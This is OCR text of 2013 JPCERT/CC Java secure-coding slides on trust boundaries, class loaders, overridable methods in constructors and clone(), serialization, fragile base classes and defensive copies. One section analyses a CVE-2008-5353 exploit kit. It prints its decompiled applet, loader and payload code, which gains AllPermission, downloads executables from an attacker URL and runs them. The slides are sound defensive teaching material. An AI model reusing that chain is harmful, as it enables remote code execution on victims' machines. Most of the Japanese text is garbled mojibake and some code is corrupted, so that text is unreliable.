: Japan Computer Emergency Response Team
Coordination Center
DN : c=JP, st=Tokyo, I=Chiyoda-ku, email=office@jpcert.or.jp, o=Japan
Computer Emergency Response Team Coordination Center, cn=Japan
Computer Emergency Response Team Coordination Center
:2013.06.26 14:02:22 +09'00'

Japan Computer Emergency Response Team Coordination Center
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{E1aIE5R (trust boundary)

0O S BN TEIE AR
— B ClE. T—HIIMEE TR0
A TlE. T—HIHMERRTEB(EETE)

EFETERUVVMIIMNS A TEET—AIE. #FEEEIC/\ALUTIE
UsHT. EFECEBDHICEITCENTESD

C DR ABRHE(BDDWERER)IC &, MESFEC DI D
trust boundary violation

usrname = request.getParameter(“usrname”);

if (session.getAttribute(ATTR _USR) == NULL) {
session.setAttribute(ATTR_USR, usrname);

¥

JPCERT CC°
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class C { s Eé# BE |00 @0 B8 3z @8 1
: B3 BB 62 68 11 b7 60 13 BA 00 6
void () { _— o Ba.l6 A1 A8 B5 3C 69 6
D d = new D(); EuFE-4E~EEIlEIEIEII
/1. PPN G e
} 872 BL B BA 53 6F 75 72 63 65 4
/ A ARR AR PF A& A1 75 61 BC BA A9 Al
} C.java ajzjvq’)b 60 E4 6F £7 BC @
O—Kk&n3

D5 AO0—H—

( VS5 ACD defining class loader)
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ClassLoader 1> A NS OH(F/I\—=wvS 3 2 HE

RuntimePermission - “createClasslLoader”

getSystemClassLoader(). getParent() M UEEERICHIFEETND

EDAT 1 bE this.getClass().getClassLoader() ZHENFEEZERE L
205 AO—4 —ZBiS TS DD TR

M USRI 2D

FEH Uloo S X0O0—4—H, ETI>TFXA DI RO—45—E&H
UBULKZDFRETTISAO—SF —THDh\

E{73>52 X M RuntimePermission - “getClassLoader” W'& 3155
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java.lang.ClassLoader

2 A0— REEXYVWY |~
public Class loadClass(String name)

protected native final Class
findLoadedClass(String name)

protected Class findClass(String name)
protected final void resolveClass(Class c)

protected Class<?> deineClass(String name,
byte[] b, int off, int len)

JPCERT CC°
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loadClass(): 95 R%&ET

J—hRANSYITUSA0-Y - loadClass XYW RODFE
(classNotFoundException[\ loadClass

1.findLoadedClass () ZMATOS AN EL

DS ZAEZEEEITDRISAO—S — (CO—kF=nTcuhizuLwmrFTv o
2. DU SAO—% —MDloadClass () =¥

findClass l \ loadClass S (IS ADO— FERRUCERER)
3. findClass () ZMHATUOSAZIEI (R

[ =L TINE TS X J $HDIS 2 0—4 — DINSIRMND JZ5classNotFoundException)

\ loadClass

Initiating 7> X0—% —
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defineClass) AV RICEXDEER=ND
DS R%&FxRI)\A BZETS X Class'D1 > X5 > X
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2. T JA)L hDProtectionDomainzHiLU < CTEE
SNEOSXICEIDYTS

protected final Class defineClass(String name, byte[] b, int
off, int len, ProtectionDomain protectionDomain)

¥

A RS 2 ADERNIBIEE

JPCERT CC*®

23 Copyright©2013 JPCERT/CC All rights reserved.



7€

P23 A00O— kK

24 Copyright©2013 JPCERT/CC All rights reserved. JPCERT CC ¥



DI53AATRIRLS IS AZLERT D

25 Copyright©2013 JPCERT/CC All rights reserved. ' | JPCERT CC ®




D5 ADE1E

VS5 R4EERLU. TERDISA

Ex—5 — B
=0 - @
C =<N, L>

ERDOITSTADEF., DT RXE N EZ7OFEEO—
H— LICKDT—EITRFESD

¥

IVM_ED2DDIO S A(DO S AEYHMEI U THDEE
DS AEHMEU
MDD, ENSDOEEO—SY —HREUEBES

26 Copyright©2013 JPCERT/CC All rights reserved.



DSABTIEIRS VS A ZLER

ERa—F [
/] ATSTHN auth NIETBISROAT ST M ESH %R

ND
if (auth.getClass().getName().equals
("com.application.auth.DefaultAuthenticationHandler"))

{
/] ...

}

auth.getClass()

CDATZT O MDOEITHOISAZERIClassATIS 1T b ik
+

getName()
CDATZT U MR I IS RE
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o - _ = AN = gl

[/ AT Ok auth BEAG I DI ADAT T 0 M EDIHZERARD |

if (auth.getClass() ==
com.application.auth.DefaultAuthenticationHandler.class)

{
/] ...

}
AUINT, I\ RS—DUSREZEFHIEE

CD)\> RS—HAFEO— RESNTULVRITFNIZE. JavaDZETIRIB(GD
S5 A%=0O— K
DS AATZ 0 MNalT=EEER

e
Class names don't identify a class
http://www.javaspecialists.eu/archive/Issue018.html
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2E Rk

Inside Java 2 Platform Security, Second Edition

“Internals of Java Class Loading” by Binildas Christudas
http://onjava.com/pub/a/onjava/2005/01/26/classloading.html

Java Security Guidelines: Developing and Using Java
More Securely

http://www.securingjava.com/chapter-seven/chapter-seven-1.html

CWE-486: Comparison of Classes by Name
http://cwe.mitre.org/data/definitions/486.html

JPCERT CC*®
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A>)INT 1 —)U RADHAME
(- F AL ME)

A—I\—DS5AD

AZINT 1 =) RICHIHT S
A EF DFHIFERZ A

ATSTHRER ! ., }

B > X NSOYKBEET

34 Copyright©2013 JPCERT/CC All rights reserved. JPCERT CC 4



Z 7“ > T MNERDIR
o posrt

int x, vy;
Point() { x = 1; y = 1; } A2 )\NT =)L RFIERME (7T A )L ME)
}
class ColoredPoint extends Point { ColoredPointdd > X bSO ET
int color = OXFFOOFF; SollerePesil) 1 cuparlds
}
class Test { Pointd 1> A NS5 ZELT
public static void main(String[] args) point() { super(); x=1; y=1; }
{
| ColoredPoint cp = new | Yy B
ColoredPoint(); Jec - - =17
System.out.println(cp.color); Object() { }
} _
} PointdD#JHR{b Tz 554

Cp

X=0a

PointdO 1> X bSO IRAKRZEIT
(x=1,y=1;)

ColoredPoint®#)ER{b = Z 5941
(color = OxFFOOFF;)

ColoredPointd 1> X bSO AIARLK

Y=Qa
color = OxFFQOFF
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class SuperClass {
public SuperClass (){ doLogic(); }
public void doLogic(){ System.out.println("This is superclass!"); }

¥

class SubClass extends SuperClass {
private String color = null;
public SubClass(){

super();
color = "Red";

¥
public void doLogic(){

System.out.println("This is subclass! The color is :" + color);
}
}
public class Overridable { ETIDE
public static void main(String[] args){ BERSENCECLCIESIEIANS
SuperClass bc = new SuperClass(); This 1s superclass!
SuperClass sc = new SubClass(); This is subclass! The color is :null
}
}

JPCERT CC°®
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class SuperClass {
public SuperClass (){ doLogic(); }
public void doLogic(){ System.out.println("This is superclass!"); }

}

class SubClass extends SuperClass {
private String color = null;
public SubClass(){
super();
color = "Red";

}
public void dolLogic(){

System.out.println("This is subclass! The color is :

+ color);

}
}

public class Overridable {
public static void main(String[] args){
SuperClass bc = new SuperClass();
SuperClass sc =| new SubClass()§

}

}
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class SuperClass {
public SuperClass (){ doLogic(); }
public void doLogic(){ System.out.println("This is superclass!"); }

}

class SubClass extends SuperClass {
private String color = null;
public SubClass(){

super();
color = "Red";

}
public void dolLogic(){

System.out.println("This is subclass! The color is :

+ color);

}
}

public class Overridable {
public static void main(String[] args){
SuperClass bc = new SuperClass();
SuperClass sc = new SubClass();

}
}
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class SuperClass {
public SuperClass (){ doLogic(); }
public void doLogic(){ System.out.println("This is superclass!"); }

}

class SubClass extends SuperClass {
private String color = null;
public SubClass(){

[super ()3
color = "Red";

}
public void dolLogic(){

System.out.println("This is subclass! The color is :

+ color);

}
}

public class Overridable {
public static void main(String[] args){
SuperClass bc = new SuperClass();
SuperClass sc = new SubClass();

}
}
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class SuperClass {
publiclSuperCiass (){ doLogic(); T]
public void doLogic(){ System.out.println("This is superclass!"); }

}

class SubClass extends SuperClass {
private String color = null;
public SubClass(){

super();
color = "Red";

}
public void dolLogic(){

System.out.println("This is subclass! The color is :

+ color);

}
}

public class Overridable {
public static void main(String[] args){
SuperClass bc = new SuperClass();
SuperClass sc = new SubClass();

}
}
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class SuperClass {
public SupercClass (){IdoLogic();I}
public void doLogic(){ System.

}

rintln("This is superclass!"); }

N

class SubClass extends SuperClass {

private String color = null; doLogic()(iSubClassODZI‘/
public SubClass(){ 2S935I M
super(); SIHFOHEINTLD

color = "Red"; 4/

} U
public void doLogic(){
System.out.println("This is subclass! The color is :

+ color);

}
}

public class Overridable {
public static void main(String[] args){
SuperClass bc = new SuperClass();
SuperClass sc = new SubClass();

}
}
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doLogic();
color(FHITHHAMEN ZE T L
TLRVDICEREND
super();
}
public void doLogic(){
System.out.println("This is subclass! The color is :" + color);
}

This 1is subclass! The color is :null

JPCERT CC°
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class SuperClass {
public SuperClass (){ doLogic(); }
public void doLogic(){ System.out.println("This is superclass!"); }

}

class SubClass extends SuperClass {
private String color = null;
public SubClass(){
super();
|color = "Red";l

}
public void dolLogic(){

System.out.println("This is subclass! The color is :

+ color);

}
}

public class Overridable {
public static void main(String[] args){
SuperClass bc = new SuperClass();
SuperClass sc = new SubClass();

}
}
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THOCH, A—/\=FA RFULEXVY RHMEREND.

JLS §12.5 FAICIR DS R « 41> R RDERK
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class SuperClass {
public SuperClass (){ doLogic(); }

public oid doLogic(){ System.out.println("This is superclass!"); }
}

class SubClass extends SuperClass {
private String color = null;
public SubClass(){

super();
color = "Red";

}
public void doLogic(){

System.out.println("This is subclass! The color is :" + color);

}
}

public class Overridable {
public static void main(String[] args){

gSuperClass bc = new SuperClass(); // print "this is superclass!”
SuperClass sc = new SubClass(); // print "This is subclass!"

} } doLogic()ZfinalEE9DET. HIOUSXT
DA —IN—ZAA RIEO/\AILITS—(CIRB

JPCERT CC°
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METO05-]. A XA S OFICHENTA—/\—5 A RAJGER AV W REHUH =/
L)

https://www.jpcert.or.jp/java-rules/met05-j.html

ESA(European Space Agency)dJava Coding Standards

Rule62: Do not call nonfinal method from within a constructor

ftp://ftp.estec.esa.nl/pub/wm/anonymous/wme/bssc/Java-Coding-Standards-
20050303-releaseA.pdf

Secure Coding Guidelines for the Java Programming Language, Version
4.0

Guideline 7-4: Prevent constructors from calling methods that can be
overriden

http://www.oracle.com/technetwork/java/seccodeguide-139067.html

JPCERT CC*®
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ST

Object VS ATEERE=INTLD
RV OE—Z1T5

MEIRSZENIE—ZITOIRDICA—/\-FA RLTfE

>

SZ. [TJ0OJo5=>/2=58]avazE4hil
2 ~ODiEERS
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clone(OAYVY R

public class Object {

AT O MOIE—Z{ERR U TOGRUEY, AT D [ERLY
dE—] =R UZEIH. BREONIOE—] (FERRULEE A

CDOATZT O DTS AN Cloneable 1> AFTJT—RA=EFEELTL)
IRVZE (. CloneNotSupportedException M AO—MNET,

Object S5 XAB1K(E. Cloneable 1>AFJ 1T —R=ZEEEURRWES,
7S AN Object THD clone XV RZFOH T &, E1TEF(CHIN
MAO—ENET,

JavaSE6 API{t#k. 7= A0bject, cloneXYVw <

JPCERT CC°
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clone(YMBA—)\—=S 1 RAJGEIRR AV Y RZHOH T &1&
p !

BEDHDIUITISANMAYVY RZA—/)\—514 RUT.
clone () DEMWE=ZIR/E
HEMEHROoOO—>AT 2T O M7 01X U TUE
5 v
JO0—>rxEo0—-25%DAT 2T 0 M ERB(FEL
)RR EEL DD

/1]
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class SuperClass implements Cloneable {
public SuperClass (){ doLogic(); }
public void doLogic(){ System.out.println("This is superclass!"); }
public Object clone() throws CloneNotSupportedException {
final SuperClass clone = (SuperClass)super.clone();

Cl:“e-dOEOgiC()i 3. doLogic () [FR—IN—DISATEEETNTL
return clone; N "= S, = \ \
} ’ class SubClass extends SuperClass SH 'U‘?_UjZO)ZI fT#:ZI_\b bll'*]ZU.':I:'.E
} private String color = null; TFC_U%ZT_U)\ ﬁiﬂg(‘-ﬂj‘a7“}t7r_}\_
public SubClass(){ 514 R&NlzdoLogic (YD HEND
super();
color = "Red";
}
public void doLogic(){
System.out.println("This is subclass! The color is :" + color);
}
public Object clone() throws CloneNotSupportedException {
final SubClass clone = (SubClass)super.clone();
clone.color = “Blue”;
clone.dolLogic();
} return clone; 2. 2—){—25 X Dclone () BRT
}

public class CloneExample {
public static void main(String[] args) throws CloneNotSupportedException {
SuperClass bc = new SubClass();
bc.clone();

}
}

1. YJ OS5 ADclone()&ERIT

RITIDE
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class SuperClass implements Cloneable {
public SuperClass (){ doLogic(); }

public final void dolLogic(){
System.out.println("This is superclass!");

}
public Object clone() throws CloneNotSupportedException {

final SuperClass clone = (SuperClass)super.clone();
clone.dolLogic();
return clone;

}
}

doLogic()Zfinal&E=
A —I)\—=+a RZPhLE

HDNIAYV Y RZprivateE=S
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METO06-J. clone()MSA—/{—S5- RAJAEIR A Y v R
U730

https://www.jpcert.or.jp/java-rules/met06-j.html

[ Effective Java 825k |
IEH11 clone ZF2 U TCA—/\—Z1 KT 3B
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ATSITOMDIVITPSAARETSUFPSARX

>, )75 ¢ g h
A e ke 4 Java Object Serialization Specification

THEDNHESINTVLS
writeObject() \/ J

bytestream

i

8 (72VU751XK)

e AN a e

I7A1I
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SUPSARX :F1VU5F+1 LOFER

AT O DIRTDIT 4 —)LK (private T+« —)L RE)WESH
=Nd

J4 —)L R%Zprivate transient =

ObjectOutputStream. defaultWriteObject T3/, U5 M
[CEE UTewriteObject/writeExternal)Z{ED

STV SAXERAETNDA NI — LD AT =R, 5
?E_C'éfdbvfj IO DFTIITSAXICDRMND

I\ MEE(ICHEE ICHRE AN TCTVWBEEBFELEO—FT1 >
IhkeD5ND

MHE 1> FTFANTT US4 X UL

JPCERT CC°

58 Copyright©2013 JPCERT/CC All rights reserved.



WEH(CENHBJavaDI SV I A—LA

JRE = ZEMNE70%D0S
TS5w R A —LIHKRFEDNILIT T . WebR—XTINEE

I

AEs9E D=L
:%:O)} (_ >“ E \/b\\'fﬁbn%‘}?—ﬁ (175 Java Plugin Version Support

Version 1.6x, 57.06%—

!
f
|

20126E7H D5 —%
(www.statowl.com)
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WEH(CENHBJavaDI SV I A—LA

Javald/ K‘\‘J_’J’J“E'j\/ X

Adobe PDFIZB®HI]
TEIT=ND
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Write once, own everyone!
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Java.util.Calendar®73 U7 54 XN DHEE5 1%
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java.util.Calender DFT>UF7 S5 A ADHEESTE

The Java Runtime Environment (JRE) for Sun JDK and JRE 6 Update 10 and
earlier ... allows remote attackers to run untrusted applets and
applications in a privileged context, as demonstrated by “deserializing

Calendar objects”.
(CVE-2008-5353)

' A . — p 1 \% \so ':\ \\9 o
HLSI—AT ST Y RDFSUFSAX AR

ACERVWFZILY N + BIEJ>FTFEX S "
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ffE8§7% java.util.Calendar U5 ADEE

public abstract class Calendar implements Serializable, Cloneable, Comparable<Calendar> {

/**

* Reconstitutes this object from a stream (i.e., deserialize it).

*/
private void readObject(ObjectInputStream stream)
throws IOException, ClassNotFoundException
{
// e o o

// If there's a ZonelInfo object, use it for zone.
ZoneInfo zi = null;
try{
ZoneInfo zi = (ZoneInfo) AccessController.doPrivileged(
new PrivilegedExceptionAction() {
public Object run() throws Exception {
return input.readObject();

}
})s
if (zi != null) {
zone = zi;

}
} catch (Exception e) {}
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LIF. Donato Ferrantec ADN )LD T 7fEicEx t(C.
MesssBRADOTBEAH =R UES

http://www.inreverse.net/?p=804

Java exploit kit malware: 3DDIOS AT 71 I)ILZED
jarJd 7 1)L

AppletX.java
LoaderX.java
PayloadX.java

JPCERT CC°
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AppletX.java

AppletX Applet

long serialVersionUID 3238297386635759160L ;
String seralizedObject = "ACED (.snip.) COOOA";
String data null;

void init()

ObjectInputStream localObjectInputStream ObjectInputStream(

ByteArrayInputStream(PayloadX.StringToBytes("ACED (.snip.) C0@BA")));

Object localObject - localObjectInputStream.readObject();
((localObject null) (LoaderX.instance null))

; AFwI1
String strl = getParameter("data");
String str2 = getParameter("cc");

(stri null)
B 25w 2

LoaderX.instance.bootstrapPayload(strl, str2);

(Exception localException) { }
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25w 71 TNz Serialized 5—%
(EFE(F21939)1 |~)

ObjectInputStream localObjectInputStream ObjectInputStream(

BvteArrayInputStream(PayloadX.StringToBytes("ACED (.snip.) CW@@A"))
Object LocalObject - localObjectInputStream. readObject();

(localObject null) (LoaderX.instance null))

r

EL g ClasslLoader
Serializable

long serialVersionUID = @xddc409d8L;
[oaderX instance = null;

void readObiect{ObjectInputStream objectinputstream)
IOException, ClassNotFoundException

instance = this;
objectinputstream.defaultReadObject();

JPCERT CC°
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void bootstrapPayload(String s, String sl1)
T0Exception

Object obj = null;

{
ByteArrayOutputStream bytearrayoutputstream ByteArrayOutputStream();
byte abyte@l[] byte[B8192];
InputStream inputstream
getClass().getResourceAsStream(" /myf/y/PayloadX.class");
int 1i;
((i = inputstream. read(abyte®)) > 0)
bytearrayoutputstream.write(abyte®, 0, 1i);
abyte® - bytearrayoutputstream.toByteArray();
URL url URL("file:///");
Certificate acertificatel] Certificatel@];
Permissions permissions Permissions();
permissions.add( AllPermission());
ProtectionDomain protectiondomain ProtectionDomain(
CodeSource(url, acertificate), permissions);
Class classl = defineClass("myf.y.PayloadX", abyte@, 0,
abyte®.length, protectiondomain);
(classl nutl)
{
Field field = classl.getField("data");
Field fieldl = classl.getField("cc");
Object objl = classl.newInstance();
field.set(objl, s);
fieldl.set(objl, s1);
objl = classl.newInstance();

Payload XIS AMD
(Exception _ex) { } A IR > AZNERY,
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PayloadX
PrivilegedExceptionAction

Object run() data: YLD T 7DFD>0O0—REZEiET

Exception

(data null)
null:

String s = System.getProperty("os.name");

(s.index0f ("Windows") 2)

to cc: H>0O—RIBIIIITT7DE
1n 1 H
(cc null)
j = Integer.parselnt(cc);
(InNT 1 =¥; 1 < J; 1++)
{
URL url URL(data + Integer.toString(i));
url.openConnection();
InputStream inputstream = url.openStream();
String sl = System.getProperty("java.io.tmpdir")
File.separator + Math.random() ".exe":
FileOQutputStream fileoutputstream FileOutputStream(sl);
int k;
int 1;
(L = 0; (k = inputstream.read()) 1; 1++)
fileoutputstream.write(k);

inputstream.close();

fileoutputstream.close(); /5"7 ~0O— |\ bt;ﬁ

q 1024)
Runtime.getRuntime() .exec(sl);

}

(Exception _ex) { }

null; ‘T CC®




&R

Security in Object Serialization

http://docs.oracle.com/javase/6/docs/platform/serialization/spec/sec
urity.html

Secure Coding Guidelines for the Java Programming
Language, Version 4.0, §8 Serialization and
Deserialization

http://www.oracle.com/technetwork/java/seccodeguide-139067.html

CWE-502: Deserialization of Untrusted Data
http://cwe.mitre.org/data/definitions/502.html

Write once, own everyone, Java deserialization issues
http://blog.cr0.org/2009/05/write-once-own-everyone.htm|

JPCERT CC®
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The Fragile Base Class Problem
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YIS ADKFEZRD

A—=IN=D S RA(CNMATZZE
CRAETDIENDD

(S —

extends

java.util.Hashtable

put()

remove ()

JDK1.2 CiEMENTZ
(R=IN=DSX (T DEE)
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java.util.Properties
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j A== RUTRN T, |

BhY. YOS ADENMEICRIESN

extends

A== K java.security.Provider

)
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A== R putt()

remove()
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entrySet () &k
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The Fragile Base Class Problem

DS AT TOARICEENIRVDMNIEE

base DV S AND/NESREEN., EIRICKERETZEZEX
DYURD

BEDSEES. INTDderived IS ADAEIE. B> )\ A
JL. BEdfmHInE

XieRk 7 JO—F

Effective JavasE2hik. IEEH16 & KD I MRTS 3>
7 1%\

“Understand how a superclass can affect subclass
behavior”

http://www.oracle.com/technetwork/java/seccodeguide-139067.html
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RDI— FORIRE(EAR] ?

class MutableClass {
private Date[] date;

public MutableClass() {
date new Date[20];
for (int i = @; i < date.length; i++) {
date[i] = new Date();
}
}

public Date[] getDate() {
|return date; // or return date.clone()|

}
} EBOWIE—ZRLUTLS !
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{S1EHY

class MutableClass {
private Date[] date;

public MutableClass() {
date = new Date[20];
for(int 1

}
}

date[i]

©; 1 < date.length; i++) {
new Date();

74— IE—ZFML. BUTWS

public Date[] getDate() {

¥

dates[1i]

Date[] dates
for (int 1

= new Date[date.length];
0; i < date.length; i++) {
(Date) date[i].clone();

return dates;

Copyright©2013 JPCERT/CC All rights reserved.
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%LU E—(shallow copy) &t ?
TV JB>F—4H(FO0E—T3

SR —S38RZzIE—-93, SREOATZTD
NMEOE— U7

Object.clone()(TXWNWIE—=ZIRT
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Ef#l : IDK1.7betadhfedslt

public class InvalidityDateExtension extends Extension
implements CertAttrSet<String> {

private Date date;

D5 ARNDAZARENDS IR 72 )
LCuLyz !

/**
* Get the attribute value.
*/
public Object get(Strg#fg name) throws IOException {
if (name.equalsIgnoreCase(DATE)) {
[return _date; |
} else {
throw new IOException
("Name not supported by InvalidityDateExtension");

src/share/classes/sun/security/x509/InvalidityDateExtension.java
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public Object get(String name) throws IOException {
if (name.equalsIgnoreCase(DATE)) {
if (date == null) {
return null;

} else {
‘return (new Date(date.getTime())); // 20O0—> ‘

}
} else {

throw new IOException
("Name not supported by InvalidityDateExtension");
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%@'ﬂgd)'szlj__’f J:O)/::%'\, (L_jb\_C15§ED55 l

Java L2177 1—F4 ORI AH—R
A= x2 ~OB)J)
https://www.jpcert.or.jp/java-rules/#c04
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